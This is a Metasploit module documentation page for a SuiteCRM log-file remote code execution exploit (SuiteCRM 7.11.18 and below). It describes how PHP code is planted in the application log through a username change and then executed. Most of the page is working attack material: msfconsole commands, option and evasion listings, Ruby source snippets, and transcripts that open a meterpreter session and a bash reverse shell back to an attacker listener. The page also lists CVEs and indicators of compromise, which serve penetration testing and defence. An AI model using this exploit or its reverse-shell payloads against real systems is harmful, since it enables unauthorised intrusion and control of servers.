SuiteCRM Log File Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/suitecrm_log_file_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SuiteCRM Log File Remote Code Execution
Module: exploit/linux/http/suitecrm_log_file_rce
Source code: modules/exploits/linux/http/suitecrm_log_file_rce.rb
Disclosure date: 2021-04-28
Last modification time: 2021-10-22 22:11:51 +0000
Supported architecture(s): ARCH_X64, ARCH_CMD, ARCH_X86
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-28320, CVE-2020-28328, CVE-2021-42840

This module exploits an input validation error on the log file extension parameter. It does not properly validate upper/lower case characters. Once this occurs, the application log file will be treated as a php file. The log file can then be populated with php code by changing the username of a valid user, as this info is logged. The php code in the file can then be executed by sending an HTTP request to the log file. A similar issue was reported by the same researcher where a blank file extension could be supplied and the extension could be provided in the file name. This exploit will work on those versions as well, and those references are included.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/linux/http/suitecrm_log_file_rce
msf exploit(suitecrm_log_file_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


SuiteCRM versions 7.11.18 and below. https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_18

Installation

Installation: https://docs.suitecrm.com/admin/installation-guide/downloading-installing/

The fastest way to stand up a quick test instance is with docker. Bitnami hosts docker images and docker-compose.yml files.

Docker installation: https://docs.docker.com/get-docker/

curl -sSL https://raw.githubusercontent.com/bitnami/bitnami-docker-suitecrm/master/docker-compose.yml > docker-compose.yml
docker-compose up -d

You'll just want to edit the docker-compose file to pull the 7.11.18 release before you run docker-compose up -d. Example docker-compose.yml below:

  suitecrm:
    image: docker.io/bitnami/suitecrm:7.11.18

Verification Steps


Example steps in this format (is also in the PR):

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/suitecrm_log_file_rce
  4. Do: set USER [username]
  5. Do: set PASS [password]
  6. Do: set RHOSTS [IP]
  7. Do: set SRVPORT [IP]
  8. Do: set LHOST [IP]
  9. Do: exploit
  10. You should get a shell.

Options


USER

Username of a user with administrator access to the SuiteCRM instance

PASS

Password of the user with administrator access to the SuiteCRM instance

TARGETURI

The base path to SuiteCRM. The default is /

RESTORECONF

Restore the system log file settings to the default value of suitecrm.log. Default value is true

LASTNAME

Last name you'd like to set the admin user back to after running the exploit. Default is admin.

WRITABLEDIR

Any writable directory for paylod to be written. Only used for targets 0 ( x64 meterpreter ) and 2 ( x86 meterpreter )

Targets


Default is 0 with a payload of linux/x64/meterpreter_reverse_tcp
Exploit targets:

Id Name


0 Linux (x64) 1 Linux (cmd) `` Currently, this supports *linux/x64/meterpreter_reverse_tcp *cmd/unix/bash_reverse_tcp`

There is some encoding/escaping on the php poisoning into the log file, so php code is limited. I would also presume an x86 meterpreter would run fine, but I haven't tested it. I did test a cmd/unix/bash_reverse_udp and it worked fine. I would presume most cmd payloads will work contingent on the required tools being available on the victim machine.

Artifacts/IOC's

Target 0 is going to leave a random, 8 character alphanumeric PHP file such as this ryl2bLse.pHp in the webroot and it will leave a random alphanumeric 8 character file in WRITABLEDIR (/tmp by default) similar to this uG0QjRbK Operators: keep an eye out for the last couple of lines of output [!] This exploit may require manual cleanup of 'eTHsm71W.pHp' on the target [!] This exploit may require manual cleanup of '/tmp/54N6HA1E' on the target

Scenarios


SuiteCRM 7.11.18 Check + Target 0 (linux x64 meterpreter)

msf6 > use exploit/linux/http/suitecrm_log_file_rce
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/suitecrm_log_file_rce) > set RHOSTS 192.168.122.29
RHOSTS => 192.168.122.29
msf6 exploit(linux/http/suitecrm_log_file_rce) > set USER admin
USER => admin
msf6 exploit(linux/http/suitecrm_log_file_rce) > set PASS admin
PASS => admin
msf6 exploit(linux/http/suitecrm_log_file_rce) > set SRVHOST 192.168.122.125
SRVHOST => 192.168.122.125
msf6 exploit(linux/http/suitecrm_log_file_rce) > set LHOST 192.168.122.125
LHOST => 192.168.122.125
msf6 exploit(linux/http/suitecrm_log_file_rce) > check

[*] Authenticating as admin
[+] Authenticated as: admin
[+] admin has administrative rights.
[+] SuiteCRM Version 7.11.18
[*] 192.168.122.29:80 - The target appears to be vulnerable.
msf6 exploit(linux/http/suitecrm_log_file_rce) > exploit

[*] Started reverse TCP handler on 192.168.122.125:4444 
[*] Using URL: http://192.168.122.125:8080/NzzKmKY
[*] Authenticating as admin
[+] Authenticated as: admin
[+] admin has administrative rights.
[*] Modifying systems setting file
[*] Poisoning log file
[*] Executing php code in log file: fxg8pi1C.pHp
[+] 192.168.122.29:80 - Payload sent!
[*] Meterpreter session 1 opened (192.168.122.125:4444 -> 192.168.122.29:43346) at 2021-05-21 22:52:15 -0500
[*] Restoring log file to default configuration
[*] Server stopped.
[!] This exploit may require manual cleanup of 'fxg8pi1C.pHp' on the target
[!] This exploit may require manual cleanup of '/tmp/9yCGovF5' on the target

meterpreter > getuid
Server username: daemon @ bb77d61a4df1 (uid=1, gid=1, euid=1, egid=1)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.21.0.3 - Meterpreter session 1 closed.  Reason: User exit

SuiteCRM 7.11.18 Check + Target 1 (Unix bash reverse TCP shell)

This was run immediately after the previous scenario. Initialization is exactly the same.
msf6 exploit(linux/http/suitecrm_log_file_rce) > sessions -i

Active sessions


No active sessions.

msf6 exploit(linux/http/suitecrm_log_file_rce) > set target 1 target => 1 msf6 exploit(linux/http/suitecrm_log_file_rce) > run

[] Started reverse TCP handler on 192.168.122.125:4444 [] Using URL: http://192.168.122.125:8080/Kle8QoPV [] Authenticating as admin [+] Authenticated as: admin [+] admin has administrative rights. [] Modifying systems setting file [] Poisoning log file [] Executing php code in log file: 1cOyYGE3.pHp [+] 192.168.122.29:80 - Payload sent! [] Command shell session 2 opened (192.168.122.125:4444 -> 192.168.122.29:43366) at 2021-05-21 22:53:03 -0500 [] Restoring log file to default configuration [*] Server stopped. [!] This exploit may require manual cleanup of '1cOyYGE3.pHp' on the target

id uid=1(daemon) gid=1(daemon) groups=1(daemon) whoami daemon exit [*] 192.168.122.29 - Command shell session 2 closed.


Go back to menu.

Msfconsole Usage


Here is how the linux/http/suitecrm_log_file_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/suitecrm_log_file_rce

[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/suitecrm_log_file_rce) > show info

       Name: SuiteCRM Log File Remote Code Execution
     Module: exploit/linux/http/suitecrm_log_file_rce
   Platform: Linux, Unix
       Arch: ARCH_X64, ARCH_CMD, ARCH_X86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2021-04-28

Provided by:
  M. Cory Billington

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux (x64)
  1   Linux (cmd)

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  LASTNAME     admin            no        Admin user last name to clean up profile
  PASS         admin            yes       Password for administrator
  Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RESTORECONF  true             no        Restore the configuration file to default after exploit runs
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        80               yes       The target port (TCP)
  SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT      8080             yes       The local port to listen on.
  SSL          false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI    /                yes       The base path to SuiteCRM
  URIPATH                       no        The URI to use for this exploit (default is random)
  USER         admin            yes       Username of user with administrative rights
  VHOST                         no        HTTP server virtual host
  WRITABLEDIR  /tmp             no        Writable directory to stage meterpreter

Payload information:

Description:
  This module exploits an input validation error on the log file 
  extension parameter. It does not properly validate upper/lower case 
  characters. Once this occurs, the application log file will be 
  treated as a php file. The log file can then be populated with php 
  code by changing the username of a valid user, as this info is 
  logged. The php code in the file can then be executed by sending an 
  HTTP request to the log file. A similar issue was reported by the 
  same researcher where a blank file extension could be supplied and 
  the extension could be provided in the file name. This exploit will 
  work on those versions as well, and those references are included.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-28328
  https://www.exploit-db.com/exploits/49001
  https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/
  https://theyhack.me/SuiteCRM-RCE-2/

Module Options


This is a complete list of options available in the linux/http/suitecrm_log_file_rce exploit:

msf6 exploit(linux/http/suitecrm_log_file_rce) > show options

Module options (exploit/linux/http/suitecrm_log_file_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   LASTNAME     admin            no        Admin user last name to clean up profile
   PASS         admin            yes       Password for administrator
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RESTORECONF  true             no        Restore the configuration file to default after exploit runs
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI    /                yes       The base path to SuiteCRM
   URIPATH                       no        The URI to use for this exploit (default is random)
   USER         admin            yes       Username of user with administrative rights
   VHOST                         no        HTTP server virtual host
   WRITABLEDIR  /tmp             no        Writable directory to stage meterpreter

Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux (x64)

Advanced Options


Here is a complete list of advanced options supported by the linux/http/suitecrm_log_file_rce exploit:

msf6 exploit(linux/http/suitecrm_log_file_rce) > show advanced

Module advanced options (exploit/linux/http/suitecrm_log_file_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
                                                                                         nvokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x64/meterpreter_reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/suitecrm_log_file_rce module can exploit:

msf6 exploit(linux/http/suitecrm_log_file_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (x64)
   1   Linux (cmd)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/suitecrm_log_file_rce exploit:

msf6 exploit(linux/http/suitecrm_log_file_rce) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/suitecrm_log_file_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/suitecrm_log_file_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Connection timed out


Here is a relevant code snippet related to the "<PEER> - Connection timed out" error message:

95:	          'action' => 'About'
96:	        }
97:	      }
98:	    )
99:	
100:	    return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request
101:	
102:	    version_match = version_check_request.body[/
103:	      Version
104:	      \s
105:	      \d{1} # Major revision

Check <ABOUT_URL> to confirm version.


Here is a relevant code snippet related to the "Check <ABOUT_URL> to confirm version." error message:

111:	
112:	    version = version_match.partition(' ').last
113:	
114:	    if version.nil? || version.empty?
115:	      about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
116:	      return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
117:	    end
118:	
119:	    patched_version = Rex::Version.new('7.11.18')
120:	    current_version = Rex::Version.new(version)
121:	

SuiteCRM <VERSION>


Here is a relevant code snippet related to the "SuiteCRM <VERSION>" error message:

117:	    end
118:	
119:	    patched_version = Rex::Version.new('7.11.18')
120:	    current_version = Rex::Version.new(version)
121:	
122:	    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version
123:	
124:	    Exploit::CheckCode::Safe("SuiteCRM #{version}")
125:	  end
126:	
127:	  def authenticate

SuiteCRM <VERSION>


Here is a relevant code snippet related to the "SuiteCRM <VERSION>" error message:

119:	    patched_version = Rex::Version.new('7.11.18')
120:	    current_version = Rex::Version.new(version)
121:	
122:	    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version
123:	
124:	    Exploit::CheckCode::Safe("SuiteCRM #{version}")
125:	  end
126:	
127:	  def authenticate
128:	    print_status("Authenticating as #{datastore['USER']}")
129:	    initial_req = send_request_cgi(

<USER> does not have administrative rights! Exploit will fail.


Here is a relevant code snippet related to the "<USER> does not have administrative rights! Exploit will fail." error message:

178:	    return false unless res
179:	
180:	    if res.code == 200
181:	      print_good("Authenticated as: #{datastore['USER']}")
182:	      if res.body.include?('Unauthorized access to administration.')
183:	        print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")
184:	        @is_admin = false
185:	      else
186:	        print_good("#{datastore['USER']} has administrative rights.")
187:	        @is_admin = true
188:	      end

Failed to authenticate as: <USER>


Here is a relevant code snippet related to the "Failed to authenticate as: <USER>" error message:

187:	        @is_admin = true
188:	      end
189:	      @authenticated = true
190:	      return true
191:	    else
192:	      print_error("Failed to authenticate as: #{datastore['USER']}")
193:	      return false
194:	    end
195:	  end
196:	
197:	  def post_log_file(data)

Failed - <ACTION>


Here is a relevant code snippet related to the "Failed - <ACTION>" error message:

279:	    data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
280:	    data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')
281:	
282:	    res = post_log_file(data)
283:	
284:	    print_error("Failed - #{action}") unless res && res.code == 301
285:	
286:	    print_good("Succeeded - #{action}")
287:	  end
288:	
289:	  def check_logfile_request(res, action)

<ACTION> - no reply


Here is a relevant code snippet related to the "<ACTION> - no reply" error message:

285:	
286:	    print_good("Succeeded - #{action}")
287:	  end
288:	
289:	  def check_logfile_request(res, action)
290:	    fail_with(Failure::Unknown, "#{action} - no reply") unless res
291:	
292:	    unless res.code == 301
293:	      print_error("Failed - #{action}")
294:	      fail_with(Failure::UnexpectedReply, "Failed - #{action}")
295:	    end

Failed - <ACTION>


Here is a relevant code snippet related to the "Failed - <ACTION>" error message:

288:	
289:	  def check_logfile_request(res, action)
290:	    fail_with(Failure::Unknown, "#{action} - no reply") unless res
291:	
292:	    unless res.code == 301
293:	      print_error("Failed - #{action}")
294:	      fail_with(Failure::UnexpectedReply, "Failed - #{action}")
295:	    end
296:	
297:	    print_good("Succeeded - #{action}")
298:	  end

Failed - <ACTION>


Here is a relevant code snippet related to the "Failed - <ACTION>" error message:

289:	  def check_logfile_request(res, action)
290:	    fail_with(Failure::Unknown, "#{action} - no reply") unless res
291:	
292:	    unless res.code == 301
293:	      print_error("Failed - #{action}")
294:	      fail_with(Failure::UnexpectedReply, "Failed - #{action}")
295:	    end
296:	
297:	    print_good("Succeeded - #{action}")
298:	  end
299:	

<PEER> - Not found: <PHP_FNAME>


Here is a relevant code snippet related to the "<PEER> - Not found: <PHP_FNAME>" error message:

303:	      {
304:	        'uri' => normalize_uri(target_uri, @php_fname),
305:	        'keep_cookies' => true
306:	      }
307:	    )
308:	    fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404
309:	    register_files_for_cleanup(@php_fname)
310:	    register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?
311:	  end
312:	
313:	  def on_request_uri(cli, _request)

USER


Here is a relevant code snippet related to the "USER" error message:

330:	  end
331:	
332:	  def exploit
333:	    start_http_server
334:	    authenticate unless @authenticated
335:	    fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated
336:	    fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin
337:	    modify_system_settings_file
338:	    poison_log_file
339:	    execute_php
340:	  ensure

<USER> does not have administrative rights!


Here is a relevant code snippet related to the "<USER> does not have administrative rights!" error message:

331:	
332:	  def exploit
333:	    start_http_server
334:	    authenticate unless @authenticated
335:	    fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated
336:	    fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin
337:	    modify_system_settings_file
338:	    poison_log_file
339:	    execute_php
340:	  ensure
341:	    restore if datastore['RESTORECONF']

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • M. Cory Billington

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.